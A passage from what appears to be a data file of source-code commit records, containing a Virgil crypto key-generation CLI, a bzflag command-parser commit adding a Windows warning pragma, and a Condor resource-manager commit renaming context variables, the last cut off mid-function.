LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING\n * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <algorithm>\n#include <fstream>\n#include <iostream>\n#include <iterator>\n#include <map>\n#include <stdexcept>\n#include <string>\n\n#include <tclap\/CmdLine.h>\n\n#include <virgil\/crypto\/VirgilByteArray.h>\n#include <virgil\/crypto\/foundation\/VirgilKeyPairGenerator.h>\n#include <virgil\/crypto\/foundation\/VirgilAsymmetricCipher.h>\n\n#include <cli\/version.h>\n#include <cli\/util.h>\n\nusing virgil::crypto::VirgilByteArray;\nusing virgil::crypto::foundation::VirgilKeyPairGenerator;\nusing virgil::crypto::foundation::VirgilAsymmetricCipher;\n\n\/**\n * @brief Convert string representation of the Elliptic Curve group to the appropriate constant.\n *\/\nstatic VirgilKeyPairGenerator::ECKeyGroup ec_key_group_from_param(const std::string ¶m);\n\n#ifdef SPLIT_CLI\n#define MAIN main\n#else\n#define MAIN keygen_main\n#endif\n\nint MAIN(int argc, char **argv) {\n try {\n \/\/ Parse arguments.\n TCLAP::CmdLine cmd(\"Generate private key with given parameters.\", ' ', virgil::cli_version());\n\n std::vector<std::string> ec_key;\n ec_key.push_back(\"bp256r1\");\n ec_key.push_back(\"bp384r1\");\n ec_key.push_back(\"bp512r1\");\n ec_key.push_back(\"secp192r1\");\n ec_key.push_back(\"secp224r1\");\n ec_key.push_back(\"secp256r1\");\n ec_key.push_back(\"secp384r1\");\n ec_key.push_back(\"secp521r1\");\n ec_key.push_back(\"secp192k1\");\n ec_key.push_back(\"secp224k1\");\n ec_key.push_back(\"secp256k1\");\n TCLAP::ValuesConstraint<std::string> allowedEcKey(ec_key);\n\n TCLAP::ValueArg<std::string> ecArg(\"e\", \"ec\",\n \"Generate elliptic curve key with one of the following curves:\\n\"\n \"\\t* bp256r1 - 256-bits Brainpool curve;\\n\"\n \"\\t* bp384r1 - 384-bits Brainpool curve;\\n\"\n \"\\t* bp512r1 - 512-bits Brainpool curve (default);\\n\"\n \"\\t* secp192r1 - 192-bits NIST curve;\\n\"\n \"\\t* secp224r1 - 224-bits NIST curve;\\n\"\n \"\\t* secp256r1 - 256-bits NIST curve;\\n\"\n \"\\t* secp384r1 - 384-bits NIST curve;\\n\"\n \"\\t* secp521r1 - 521-bits NIST curve;\\n\"\n \"\\t* secp192k1 - 192-bits \\\"Koblitz\\\" curve;\\n\"\n \"\\t* secp224k1 - 224-bits \\\"Koblitz\\\" curve;\\n\"\n \"\\t* secp256k1 - 256-bits \\\"Koblitz\\\" curve.\\n\",\n false, \"\", &allowedEcKey);\n\n TCLAP::ValueArg<unsigned int> rsaArg(\"r\", \"rsa\", \"Generate RSA key with a given number of bits.\",\n false, 0, \"nbits\");\n\n TCLAP::ValueArg<std::string> outArg(\"o\", \"out\", \"Private key. If omitted stdout is used.\",\n false, \"\", \"file\");\n\n TCLAP::ValueArg<std::string> pwdArg(\"p\", \"pwd\", \"Password to be used for private key encryption. \"\n \"If omitted private key is stored in the plain format.\", false, \"\", \"arg\");\n\n cmd.add(pwdArg);\n cmd.add(outArg);\n cmd.add(ecArg);\n cmd.add(rsaArg);\n\n cmd.parse(argc, argv);\n\n \/\/ Check parameters\n if (ecArg.isSet() && rsaArg.isSet()) {\n throw std::invalid_argument(\"-e, --ec and -r, --rsa parameters are both specified\");\n }\n\n VirgilAsymmetricCipher cipher = VirgilAsymmetricCipher::none();\n if (rsaArg.isSet()) {\n \/\/ Generate RSA key\n cipher = VirgilAsymmetricCipher::rsa();\n cipher.genKeyPair(VirgilKeyPairGenerator::rsa(rsaArg.getValue()));\n } else {\n \/\/ Generate EC key\n VirgilKeyPairGenerator::ECKeyGroup ecKeyGroup = ec_key_group_from_param(ecArg.getValue());\n if (ecKeyGroup == VirgilKeyPairGenerator::ECKeyGroup_DP_NONE) {\n if (ecArg.getValue().empty()) {\n ecKeyGroup = VirgilKeyPairGenerator::ECKeyGroup_DP_BP512R1;\n } else {\n throw std::invalid_argument(std::string(\"unknown elliptic curve: \") + ecArg.getValue());\n }\n }\n cipher = VirgilAsymmetricCipher::ec();\n cipher.genKeyPair(VirgilKeyPairGenerator::ec(ecKeyGroup));\n }\n\n \/\/ Export private key\n VirgilByteArray privateKey = cipher.exportPrivateKeyToPEM(virgil::crypto::str2bytes(pwdArg.getValue()));\n\n \/\/ Write private key\n virgil::cli::write_bytes(outArg.getValue(), privateKey);\n\n } catch (TCLAP::ArgException& exception) {\n std::cerr << \"Error: \" << exception.error() << \" for arg \" << exception.argId() << std::endl;\n return EXIT_FAILURE;\n } catch (std::exception& exception) {\n std::cerr << \"Error: \" << exception.what() << std::endl;\n return EXIT_FAILURE;\n }\n\n return EXIT_SUCCESS;\n}\n\nstatic VirgilKeyPairGenerator::ECKeyGroup ec_key_group_from_param(const std::string ¶m) {\n std::map<std::string, VirgilKeyPairGenerator::ECKeyGroup> ecKeyGroup;\n ecKeyGroup[\"secp192r1\"] = VirgilKeyPairGenerator::ECKeyGroup_DP_SECP192R1;\n ecKeyGroup[\"secp224r1\"] = VirgilKeyPairGenerator::ECKeyGroup_DP_SECP224R1;\n ecKeyGroup[\"secp256r1\"] = VirgilKeyPairGenerator::ECKeyGroup_DP_SECP256R1;\n ecKeyGroup[\"secp384r1\"] = VirgilKeyPairGenerator::ECKeyGroup_DP_SECP384R1;\n ecKeyGroup[\"secp521r1\"] = VirgilKeyPairGenerator::ECKeyGroup_DP_SECP521R1;\n ecKeyGroup[\"bp256r1\"] = VirgilKeyPairGenerator::ECKeyGroup_DP_BP256R1;\n ecKeyGroup[\"bp384r1\"] = VirgilKeyPairGenerator::ECKeyGroup_DP_BP384R1;\n ecKeyGroup[\"bp512r1\"] = VirgilKeyPairGenerator::ECKeyGroup_DP_BP512R1;\n ecKeyGroup[\"secp192k1\"] = VirgilKeyPairGenerator::ECKeyGroup_DP_SECP192K1;\n ecKeyGroup[\"secp224k1\"] = VirgilKeyPairGenerator::ECKeyGroup_DP_SECP224K1;\n ecKeyGroup[\"secp256k1\"] = VirgilKeyPairGenerator::ECKeyGroup_DP_SECP256K1;\n\n auto group = ecKeyGroup.find(param);\n if (group != ecKeyGroup.end()) {\n return group->second;\n }\n return VirgilKeyPairGenerator::ECKeyGroup_DP_NONE;\n}\n<|endoftext|>"} {"text":"<commit_before>\/* bzflag\n * Copyright (c) 1993 - 2003 Tim Riker\n *\n * This package is free software; you can redistribute it and\/or\n * modify it under the terms of the license found in the file\n * named LICENSE that should have accompanied this file.\n *\n * THIS PACKAGE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED\n * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.\n *\/\n\n\/\/ system headers\n#include <ctype.h>\n#include <stdio.h>\n\n\/\/ class-specific headers\n#include \"CommandManager.h\"\n#include \"TextUtils.h\"\n\n\nCommandManager::CommandManager()\n{\n \/\/ do nothing\n}\n\nCommandManager::~CommandManager()\n{\n \/\/ do nothing\n}\n\nvoid\t\t\t\tCommandManager::add(const std::string& name,\n\t\t\t\t\t\t CommandFunction func,\n\t\t\t\t\t\t const std::string& help)\n{\n commands.erase(name);\n CmdInfo info;\n info.func = func;\n info.help = help;\n commands.insert(std::make_pair(name, info));\n}\n\nvoid\t\t\t\tCommandManager::remove(const std::string& name)\n{\n commands.erase(name);\n}\n\nstd::string\t\t\tCommandManager::getHelp(const std::string& name) const\n{\n \/\/ look up command\n Commands::const_iterator index = commands.find(name);\n if (index == commands.end())\n return \"\";\n\n \/\/ return help string\n return index->second.help;\n}\n\nstd::string\t\t\tCommandManager::run(const std::string& name,\n\t\t\t\t\t\t\t const ArgList& args) const\n{\n \/\/ look up command\n Commands::const_iterator index = commands.find(name);\n if (index == commands.end())\n return string_util::format(\"Command %s not found\", name.c_str());\n\n \/\/ run it\n return (*index->second.func)(name, args);\n}\n\nstd::string\t\t\tCommandManager::run(const std::string& cmd) const\n{\n std::string result;\n const char* scan = cmd.c_str();\n\n scan = skipWhitespace(scan);\n while (scan != NULL && *scan != '\\0') {\n std::string name;\n ArgList args;\n\n \/\/ parse command name\n scan = skipWhitespace(scan);\n scan = readValue(scan, &name);\n if (scan != NULL)\n scan = skipWhitespace(scan);\n\n \/\/ parse arguments\n while (scan != NULL && *scan != '\\0' && *scan != ';') {\n std::string value;\n scan = readValue(scan, &value);\n if (scan != NULL) {\n scan = skipWhitespace(scan);\n args.push_back(value);\n }\n }\n\n \/\/ run it or report error\n if (scan == NULL)\n return std::string(\"Error parsing command\");\n else\n result = run(name, args);\n\n \/\/ discard ; and empty commands\n while (scan != NULL && *scan == ';') {\n ++scan;\n scan = skipWhitespace(scan);\n }\n }\n\n \/\/ return result of last command only\n return result;\n}\n\nvoid\t\t\t\tCommandManager::iterate(Callback callback,\n\t\t\t\t\t\t\tvoid* userData) const\n{\n assert(callback != NULL);\n\n for (Commands::const_iterator index = commands.begin();\n index != commands.end(); ++index)\n (*callback)(index->first, userData);\n}\n\n\nconst char*\t\t\tCommandManager::readValue(const char* string,\n\t\t\t\t\t\t\t std::string* value)\n{\n if (*string == '\\\"')\n return readQuoted(string + 1, value);\n else if (*string != '\\0')\n return readUnquoted(string, value);\n else\n return string;\n}\n\nconst char*\t\t\tCommandManager::readUnquoted(const char* string,\n\t\t\t\t\t\t\t std::string* value)\n{\n \/\/ read up to next whitespace. escapes are not interpreted.\n const char* start = string;\n while (*string != '\\0' && !isspace(*string) && *string != ';')\n ++string;\n *value = std::string(start, string - start);\n return string;\n}\n\nconst char*\t\t\tCommandManager::readQuoted(const char* string,\n\t\t\t\t\t\t\t std::string* value)\n{\n *value = \"\";\n bool escaped = false;\n for (; *string != '\\0'; ++string) {\n if (escaped) {\n switch (*string) {\n case 't': value->append(\"\\t\", 1); break;\n case 'n': value->append(\"\\n\", 1); break;\n case 'r': value->append(\"\\r\", 1); break;\n case '\\\\': value->append(\"\\\\\", 1); break;\n case '\\\"': value->append(\"\\\"\", 1); break;\n default: value->append(string, 1); break;\n }\n escaped = false;\n } else if (*string == '\\\\') {\n escaped = true;\n } else if (*string == '\\\"') {\n return string + 1;\n } else {\n value->append(string, 1);\n }\n }\n \/\/ closing quote is missing. if escaped is true the called may have\n \/\/ wanted to continue the line but we don't allow that.\n return NULL;\n}\n\nconst char*\t\t\tCommandManager::skipWhitespace(const char* string)\n{\n while (*string != '\\0' && isspace(*string))\n ++string;\n return string;\n}\n\n\/\/ Local Variables: ***\n\/\/ mode:C++ ***\n\/\/ tab-width: 8 ***\n\/\/ c-basic-offset: 2 ***\n\/\/ indent-tabs-mode: t ***\n\/\/ End: ***\n\/\/ ex: shiftwidth=2 tabstop=8\n\n<commit_msg>stop the sym-trunc warnings<commit_after>\/* bzflag\n * Copyright (c) 1993 - 2003 Tim Riker\n *\n * This package is free software; you can redistribute it and\/or\n * modify it under the terms of the license found in the file\n * named LICENSE that should have accompanied this file.\n *\n * THIS PACKAGE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED\n * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.\n *\/\n\n#ifdef _WIN32\n#pragma warning(4:4786)\n#endif\n\n\/\/ system headers\n#include <ctype.h>\n#include <stdio.h>\n\n\/\/ class-specific headers\n#include \"CommandManager.h\"\n#include \"TextUtils.h\"\n\n\nCommandManager::CommandManager()\n{\n \/\/ do nothing\n}\n\nCommandManager::~CommandManager()\n{\n \/\/ do nothing\n}\n\nvoid\t\t\t\tCommandManager::add(const std::string& name,\n\t\t\t\t\t\t CommandFunction func,\n\t\t\t\t\t\t const std::string& help)\n{\n commands.erase(name);\n CmdInfo info;\n info.func = func;\n info.help = help;\n commands.insert(std::make_pair(name, info));\n}\n\nvoid\t\t\t\tCommandManager::remove(const std::string& name)\n{\n commands.erase(name);\n}\n\nstd::string\t\t\tCommandManager::getHelp(const std::string& name) const\n{\n \/\/ look up command\n Commands::const_iterator index = commands.find(name);\n if (index == commands.end())\n return \"\";\n\n \/\/ return help string\n return index->second.help;\n}\n\nstd::string\t\t\tCommandManager::run(const std::string& name,\n\t\t\t\t\t\t\t const ArgList& args) const\n{\n \/\/ look up command\n Commands::const_iterator index = commands.find(name);\n if (index == commands.end())\n return string_util::format(\"Command %s not found\", name.c_str());\n\n \/\/ run it\n return (*index->second.func)(name, args);\n}\n\nstd::string\t\t\tCommandManager::run(const std::string& cmd) const\n{\n std::string result;\n const char* scan = cmd.c_str();\n\n scan = skipWhitespace(scan);\n while (scan != NULL && *scan != '\\0') {\n std::string name;\n ArgList args;\n\n \/\/ parse command name\n scan = skipWhitespace(scan);\n scan = readValue(scan, &name);\n if (scan != NULL)\n scan = skipWhitespace(scan);\n\n \/\/ parse arguments\n while (scan != NULL && *scan != '\\0' && *scan != ';') {\n std::string value;\n scan = readValue(scan, &value);\n if (scan != NULL) {\n scan = skipWhitespace(scan);\n args.push_back(value);\n }\n }\n\n \/\/ run it or report error\n if (scan == NULL)\n return std::string(\"Error parsing command\");\n else\n result = run(name, args);\n\n \/\/ discard ; and empty commands\n while (scan != NULL && *scan == ';') {\n ++scan;\n scan = skipWhitespace(scan);\n }\n }\n\n \/\/ return result of last command only\n return result;\n}\n\nvoid\t\t\t\tCommandManager::iterate(Callback callback,\n\t\t\t\t\t\t\tvoid* userData) const\n{\n assert(callback != NULL);\n\n for (Commands::const_iterator index = commands.begin();\n index != commands.end(); ++index)\n (*callback)(index->first, userData);\n}\n\n\nconst char*\t\t\tCommandManager::readValue(const char* string,\n\t\t\t\t\t\t\t std::string* value)\n{\n if (*string == '\\\"')\n return readQuoted(string + 1, value);\n else if (*string != '\\0')\n return readUnquoted(string, value);\n else\n return string;\n}\n\nconst char*\t\t\tCommandManager::readUnquoted(const char* string,\n\t\t\t\t\t\t\t std::string* value)\n{\n \/\/ read up to next whitespace. escapes are not interpreted.\n const char* start = string;\n while (*string != '\\0' && !isspace(*string) && *string != ';')\n ++string;\n *value = std::string(start, string - start);\n return string;\n}\n\nconst char*\t\t\tCommandManager::readQuoted(const char* string,\n\t\t\t\t\t\t\t std::string* value)\n{\n *value = \"\";\n bool escaped = false;\n for (; *string != '\\0'; ++string) {\n if (escaped) {\n switch (*string) {\n case 't': value->append(\"\\t\", 1); break;\n case 'n': value->append(\"\\n\", 1); break;\n case 'r': value->append(\"\\r\", 1); break;\n case '\\\\': value->append(\"\\\\\", 1); break;\n case '\\\"': value->append(\"\\\"\", 1); break;\n default: value->append(string, 1); break;\n }\n escaped = false;\n } else if (*string == '\\\\') {\n escaped = true;\n } else if (*string == '\\\"') {\n return string + 1;\n } else {\n value->append(string, 1);\n }\n }\n \/\/ closing quote is missing. if escaped is true the called may have\n \/\/ wanted to continue the line but we don't allow that.\n return NULL;\n}\n\nconst char*\t\t\tCommandManager::skipWhitespace(const char* string)\n{\n while (*string != '\\0' && isspace(*string))\n ++string;\n return string;\n}\n\n\/\/ Local Variables: ***\n\/\/ mode:C++ ***\n\/\/ tab-width: 8 ***\n\/\/ c-basic-offset: 2 ***\n\/\/ indent-tabs-mode: t ***\n\/\/ End: ***\n\/\/ ex: shiftwidth=2 tabstop=8\n\n<|endoftext|>"} {"text":"<commit_before>#include \"condor_common.h\"\n#include <sys\/socket.h>\n#include <netinet\/in.h>\n\n#if !defined(LINUX) && !defined(HPUX9)\n#include <sys\/select.h>\n#endif\n\n#include \"condor_types.h\"\n#include \"condor_debug.h\"\n#include \"condor_expressions.h\"\n#include \"condor_mach_status.h\"\n#include \"condor_attributes.h\"\n#include \"sched.h\"\n\n#include \"event.h\"\n#include \"state.h\"\n#include \"resource.h\"\n#include \"resmgr.h\"\n\nextern ClassAd* template_ClassAd;\n\nstatic char *_FileName_ = __FILE__;\n\n\/*\n * Higher level routines to manage a collection of resources.\n * XXX - DON'T do this using lineair searches..\n *\/\n\nstatic resource_info_t *resources=NULL;\nstatic int nresources;\nstatic fd_set cur_fds;\n\nstatic int resmgr_vacateone(resource_info_t *);\nstatic int resmgr_addfd(resource_info_t *);\nstatic int resmgr_command(resource_info_t *);\nvoid update_central_mgr(void);\n\nextern \"C\" int resmgr_setsocks(fd_set* fds);\nextern \"C\" int resmgr_call(fd_set* fds);\nextern \"C\" void resmgr_changestate(resource_id_t rid, int new_state);\n\n\/\/ collect all resources that were listed in the config file\n\/\/ initialize(including the ClassAd in each resource)\n\/\/ and store them in the global resources array. The number\n\/\/ of such resources (just 1 if RESOURCE_LIST i snot specified\n\/\/ in the config \\file is recorded by nresources.\nint resmgr_init()\n{\n\tint nres, i, index;\n\tresource_name_t *rnames;\n\tresource_id_t rid;\n\tresource_param_t param;\n\n\t\/\/ collect all resources that were listed in the config file\n\t\/\/ and their number\n\tresource_names(&rnames, &nres);\n\tdprintf(D_ALWAYS, \"resmgr_init: %d resources.\\n\", nres);\n\tresources = (resource_info_t *)calloc(nres, (sizeof (resource_info_t)));\n\tfor (i = index = 0; i < nres; i++) {\n\t\tdprintf(D_ALWAYS, \"opening resource '%s'\\n\", rnames[i]);\n\t\tif (resource_open(rnames[i], &rid) < 0)\n\t\t\tcontinue;\n\t\tresources[index].r_rid = rid;\n\t\tdprintf(D_ALWAYS, \"resource %d has id '%s'\\n\", index,\n\t\t\tresources[index].r_rid);\n\t\tresources[index].r_state = NO_JOB;\n\t\tif (resource_params(rid, NO_JID, NO_TID,\n\t\t &resources[index].r_param, NULL) < 0)\n\t\t\tcontinue;\n\t\tresources[index].r_name = rnames[i];\n\t\tresources[index].r_pid = NO_PID;\n\t\tresources[index].r_claimed = FALSE;\n\t\t\/\/ C H A N G E -> N Anand\n\t\tresources[index].r_context = new ClassAd(*template_ClassAd);\n\t\tresources[index].r_jobcontext = NULL;\n\t\tresources[index].r_capab = NULL;\n\t\tresources[index].r_interval = 0;\n\t\tresources[index].r_receivetime = 0;\n\t\tresources[index].r_universe = STANDARD;\n\t\tdprintf(D_FULLDEBUG, \"create_context returned %x\\n\",\n\t\t\tresources[index].r_context);\n\t\tresources[index].r_port = create_port(&resources[index].r_sock);\n\t\t\/\/ CHANGE -> N Anand\n\t\tresource_initAd(&resources[index]);\n\t\t\/* XXX following must be last in this initialization *\/\n\t\tresource_context(&resources[index]);\n\t\tindex++;\n\t}\n\tnresources = index;\n\tdprintf(D_ALWAYS, \"nresources set to %d\\n\", nresources);\n\treturn 0;\n}\n\nint\nresmgr_setsocks(fd_set* fds)\n{\n\tFD_ZERO(&cur_fds);\n\tresmgr_walk(resmgr_addfd);\n\t*fds = cur_fds;\n\treturn 0;\n}\n\nint\nresmgr_call(fd_set* fds)\n{\n\tcur_fds = *fds;\n\treturn resmgr_walk(resmgr_command);\n}\n\nint\nresmgr_add(resource_id_t rid, resource_info_t* rinfop)\n{\n\tint i;\n\n\tfor (i = 0; i < nresources; i++) {\n\t\tif (resource_isused(resources[i])) {\n\t\t\tresources[i] = *rinfop;\n\t\t\tbreak;\n\t\t}\n\t}\n\treturn i == nresources ? -1 : 0;\n}\n\nint\nresmgr_del(resource_id_t rid)\n{\n\tint i;\n\n\tfor (i = 0; i < nresources; i++) {\n\t\tif (!resource_isused(resources[i]))\n\t\t\tcontinue;\n\t\tif (!resource_ridcmp(resources[i].r_rid, rid)) {\n\t\t\tresource_markunused(resources[i]);\n\t\t\tbreak;\n\t\t}\n\t}\n\treturn i == nresources ? -1 : 0;\n}\n\n\nresource_info_t *\nresmgr_getbyrid(resource_id_t rid)\n{\n\tint i;\n\n\tfor (i = 0; i < nresources; i++) {\n\t\tif (!resource_ridcmp(resources[i].r_rid, rid))\n\t\t\treturn &resources[i];\n\t}\n\treturn (resource_info_t *)0;\n}\n\nresource_info_t *\nresmgr_getbyname(resource_name_t rname)\n{\n\tint i;\n\n\tfor (i = 0; i < nresources; i++) {\n\t\tif (!resource_rnamecmp(resources[i].r_name, rname))\n\t\t\treturn &resources[i];\n\t}\n\treturn (resource_info_t *)0;\n}\n\nresource_info_t *\nresmgr_getbypid(int pid)\n{\n\tint i;\n\n\tfor (i = 0; i < nresources; i++) {\n\t\tif (resources[i].r_pid == pid)\n\t\t\treturn &resources[i];\n\t}\n\treturn (resource_info_t *)0;\n}\n\nint\nresmgr_walk(int (*func)(resource_info_t*))\n{\n\tint i;\n\n\tfor (i = 0; i < nresources; i++)\n\t\tfunc(&resources[i]);\n\treturn 0;\n}\n\nint\nresmgr_vacateall(void)\n{\n\treturn resmgr_walk(resmgr_vacateone);\n}\n\nbool\nresmgr_resourceinuse(void)\n{\n\tint i;\n\n\tfor (i = 0; i < nresources; i++)\n\t\tif (resources[i].r_state != NO_JOB) return true;\n\treturn false;\n}\t\n\nstatic int\nresmgr_vacateone(resource_info_t* rinfop)\n{\n\tresource_id_t rid;\n\n\trid = rinfop->r_rid;\n\treturn resource_event(rid, NO_JID, NO_TID, EV_VACATE);\n}\n\nstatic int\nresmgr_addfd(resource_info_t* rip)\n{\n\tFD_SET(rip->r_sock, &cur_fds);\n\treturn 0;\n}\n\nstatic int\nresmgr_command(resource_info_t* rinfop)\n{\n\tif (FD_ISSET(rinfop->r_sock, &cur_fds)) {\n\t\tcall_incoming(rinfop->r_sock, SOCK_STREAM, rinfop->r_rid);\n\t\tFD_CLR(rinfop->r_sock , &cur_fds);\n\t}\n\treturn 0;\n}\n\nClassAd*\nresmgr_context(resource_id_t rid)\n{\n\tresource_info_t *rip;\n\n\tif (!(rip = resmgr_getbyrid(rid)))\n\t\treturn NULL;\n\n\treturn rip->r_context;\n}\n\nchar *\nstate_to_string(int state)\n{\n\tswitch (state) {\n\tcase NO_JOB:\n\t\treturn \"NoJob\";\n\tcase JOB_RUNNING:\n\t\treturn \"Running\";\n\tcase KILLED:\n\t\treturn \"Killed\";\n\tcase CHECKPOINTING:\n\t\treturn \"Checkpointing\";\n\tcase SUSPENDED:\n\t\treturn \"Suspended\";\n\tcase BLOCKED:\n\t\treturn \"Blocked\";\n\tcase SYSTEM:\n\t\treturn \"System\";\n\t}\n\treturn \"Unknown\";\n}\n\nvoid resmgr_changestate(resource_id_t rid, int new_state)\n{\n ClassAd* cp;\n char *name;\n char tmp[80];\n int start = FALSE;\n int claimed;\n resource_info_t *rip;\n \n if (!(rip = resmgr_getbyrid(rid)))\n return;\n \n cp = rip->r_context;\n claimed = rip->r_claimed;\n \n switch (new_state) \n {\n case NO_JOB:\n cp->EvalBool(ATTR_REQUIREMENTS, template_ClassAd, start);\n if(start && claimed == FALSE ) \n {\n set_machine_status(M_IDLE);\n } \n else \n {\n set_machine_status(USER_BUSY);\n }\n cp->Delete(\"ClientMachine\");\n cp->Delete(\"RemoteUser\");\n cp->Delete(\"JobId\");\n cp->Delete(\"JobStart\");\n case JOB_RUNNING:\n set_machine_status(JOB_RUNNING);\n break;\n case KILLED:\n set_machine_status(KILLED);\n break;\n case CHECKPOINTING:\n set_machine_status(CHECKPOINTING);\n break;\n case SUSPENDED:\n set_machine_status(SUSPENDED);\n break;\n case BLOCKED:\n set_machine_status(BLOCKED);\n break;\n case SYSTEM:\n set_machine_status(SYSTEM);\n break;\n default:\n EXCEPT(\"Change states, unknown state (%d)\", new_state);\n }\n \n name = state_to_string(new_state);\n rip->r_state = new_state;\n \n sprintf(tmp,\"State=\\\"%s\\\"\",name);\n cp->InsertOrUpdate(tmp);\n \n sprintf(tmp,\"EnteredCurrentState=%d\",(int)time((time_t*)0));\n cp->InsertOrUpdate(tmp);\n\n update_central_mgr();\n}\n<commit_msg>Removed all mention of \"context\" from variable names, etc. Also, made changes for update vs. timeout stuff described in the log for event.C or main.C<commit_after>#include \"condor_common.h\"\n#include <sys\/socket.h>\n#include <netinet\/in.h>\n\n#if !defined(LINUX) && !defined(HPUX9)\n#include <sys\/select.h>\n#endif\n\n#include \"condor_types.h\"\n#include \"condor_debug.h\"\n#include \"condor_expressions.h\"\n#include \"condor_mach_status.h\"\n#include \"condor_attributes.h\"\n#include \"sched.h\"\n\n#include \"event.h\"\n#include \"state.h\"\n#include \"resource.h\"\n#include \"resmgr.h\"\n\nextern ClassAd* template_ClassAd;\n\nstatic char *_FileName_ = __FILE__;\n\n\/*\n * Higher level routines to manage a collection of resources.\n * XXX - DON'T do this using lineair searches..\n *\/\n\nstatic resource_info_t *resources=NULL;\nstatic int nresources;\nstatic fd_set cur_fds;\n\nstatic int resmgr_vacateone(resource_info_t *);\nstatic int resmgr_addfd(resource_info_t *);\nstatic int resmgr_command(resource_info_t *);\nvoid update_central_mgr(void);\n\nextern \"C\" int resmgr_setsocks(fd_set* fds);\nextern \"C\" int resmgr_call(fd_set* fds);\nextern \"C\" void resmgr_changestate(resource_id_t rid, int new_state);\n\n\/\/ collect all resources that were listed in the config file\n\/\/ initialize(including the ClassAd in each resource)\n\/\/ and store them in the global resources array. The number\n\/\/ of such resources (just 1 if RESOURCE_LIST i snot specified\n\/\/ in the config \\file is recorded by nresources.\nint resmgr_init()\n{\n\tint nres, i, index;\n\tresource_name_t *rnames;\n\tresource_id_t rid;\n\tresource_param_t param;\n\n\t\/\/ collect all resources that were listed in the config file\n\t\/\/ and their number\n\tresource_names(&rnames, &nres);\n\tdprintf(D_ALWAYS, \"resmgr_init: %d resources.\\n\", nres);\n\tresources = (resource_info_t *)calloc(nres, (sizeof (resource_info_t)));\n\tfor (i = index = 0; i < nres; i++) {\n\t\tdprintf(D_ALWAYS, \"opening resource '%s'\\n\", rnames[i]);\n\t\tif (resource_open(rnames[i], &rid) < 0)\n\t\t\tcontinue;\n\t\tresources[index].r_rid = rid;\n\t\tdprintf(D_ALWAYS, \"resource %d has id '%s'\\n\", index,\n\t\t\tresources[index].r_rid);\n\t\tresources[index].r_state = NO_JOB;\n\t\tif (resource_timeout_params(rid, NO_JID, NO_TID,\n\t\t &resources[index].r_param, NULL) < 0)\n\t\t\tcontinue;\n\t\tif (resource_update_params(rid, NO_JID, NO_TID,\n\t\t &resources[index].r_param, NULL) < 0)\n\t\t\tcontinue;\n\t\tresources[index].r_name = rnames[i];\n\t\tresources[index].r_pid = NO_PID;\n\t\tresources[index].r_claimed = FALSE;\n\t\t\/\/ C H A N G E -> N Anand\n\t\tresources[index].r_classad = new ClassAd(*template_ClassAd);\n\t\tresources[index].r_jobclassad = NULL;\n\t\tresources[index].r_capab = NULL;\n\t\tresources[index].r_interval = 0;\n\t\tresources[index].r_receivetime = 0;\n\t\tresources[index].r_universe = STANDARD;\n\t\tdprintf(D_FULLDEBUG, \"create_classad returned %x\\n\",\n\t\t\tresources[index].r_classad);\n\t\tresources[index].r_port = create_port(&resources[index].r_sock);\n\t\t\/\/ CHANGE -> N Anand\n\t\tresource_initAd(&resources[index]);\n\t\t\/* XXX following must be last in this initialization *\/\n\t\tresource_timeout_classad(&resources[index]);\n\t\tresource_update_classad(&resources[index]);\n\t\tindex++;\n\t}\n\tnresources = index;\n\tdprintf(D_ALWAYS, \"nresources set to %d\\n\", nresources);\n\treturn 0;\n}\n\nint\nresmgr_setsocks(fd_set* fds)\n{\n\tFD_ZERO(&cur_fds);\n\tresmgr_walk(resmgr_addfd);\n\t*fds = cur_fds;\n\treturn 0;\n}\n\nint\nresmgr_call(fd_set* fds)\n{\n\tcur_fds = *fds;\n\treturn resmgr_walk(resmgr_command);\n}\n\nint\nresmgr_add(resource_id_t rid, resource_info_t* rinfop)\n{\n\tint i;\n\n\tfor (i = 0; i < nresources; i++) {\n\t\tif (resource_isused(resources[i])) {\n\t\t\tresources[i] = *rinfop;\n\t\t\tbreak;\n\t\t}\n\t}\n\treturn i == nresources ? -1 : 0;\n}\n\nint\nresmgr_del(resource_id_t rid)\n{\n\tint i;\n\n\tfor (i = 0; i < nresources; i++) {\n\t\tif (!resource_isused(resources[i]))\n\t\t\tcontinue;\n\t\tif (!resource_ridcmp(resources[i].r_rid, rid)) {\n\t\t\tresource_markunused(resources[i]);\n\t\t\tbreak;\n\t\t}\n\t}\n\treturn i == nresources ? -1 : 0;\n}\n\n\nresource_info_t *\nresmgr_getbyrid(resource_id_t rid)\n{\n\tint i;\n\n\tfor (i = 0; i < nresources; i++) {\n\t\tif (!resource_ridcmp(resources[i].r_rid, rid))\n\t\t\treturn &resources[i];\n\t}\n\treturn (resource_info_t *)0;\n}\n\nresource_info_t *\nresmgr_getbyname(resource_name_t rname)\n{\n\tint i;\n\n\tfor (i = 0; i < nresources; i++) {\n\t\tif (!resource_rnamecmp(resources[i].r_name, rname))\n\t\t\treturn &resources[i];\n\t}\n\treturn (resource_info_t *)0;\n}\n\nresource_info_t *\nresmgr_getbypid(int pid)\n{\n\tint i;\n\n\tfor (i = 0; i < nresources; i++) {\n\t\tif (resources[i].r_pid == pid)\n\t\t\treturn &resources[i];\n\t}\n\treturn (resource_info_t *)0;\n}\n\nint\nresmgr_walk(int (*func)(resource_info_t*))\n{\n\tint i;\n\n\tfor (i = 0; i < nresources; i++)\n\t\tfunc(&resources[i]);\n\treturn 0;\n}\n\nint\nresmgr_vacateall(void)\n{\n\treturn resmgr_walk(resmgr_vacateone);\n}\n\nbool\nresmgr_resourceinuse(void)\n{\n\tint i;\n\n\tfor (i = 0; i < nresources; i++)\n\t\tif (resources[i].r_state != NO_JOB) return true;\n\treturn false;\n}\t\n\nstatic int\nresmgr_vacateone(resource_info_t* rinfop)\n{\n\tresource_id_t rid;\n\n\trid = rinfop->r_rid;\n\treturn resource_event(rid, NO_JID, NO_TID, EV_VACATE);\n}\n\nstatic int\nresmgr_addfd(resource_info_t* 